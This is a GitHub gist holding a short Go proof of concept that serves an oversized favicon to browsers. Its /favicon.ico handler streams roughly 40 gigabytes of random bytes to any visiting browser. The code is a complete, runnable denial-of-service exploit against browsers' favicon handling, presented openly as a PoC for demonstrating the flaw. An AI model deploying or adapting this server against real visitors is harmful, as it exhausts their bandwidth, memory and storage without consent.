Skip to content

Instantly share code, notes, and snippets.

@ejcx
Last active August 29, 2015 14:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ejcx/1f686b55cbcf1417ab19 to your computer and use it in GitHub Desktop.
Save ejcx/1f686b55cbcf1417ab19 to your computer and use it in GitHub Desktop.
PoC to make browsers download favicons that are way bigger than should be allowed.
package main
import (
"crypto/rand"
"fmt"
"log"
"net/http"
"os"
)
func main() {
fmt.Println("Started:")
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Hey"))
})
http.HandleFunc("/favicon.ico", func(w http.ResponseWriter, r *http.Request) {
b := make([]byte, 4096)
for i := 0; i < 10000000; i++ {
_, err := rand.Read(b)
if err == nil {
fmt.Printf("Writing to %s\n", r.RemoteAddr)
w.Write(b)
}
}
})
err := http.ListenAndServe(":8080", nil)
if err != nil {
fmt.Println("Server did not start")
log.Println(err)
os.Exit(1)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment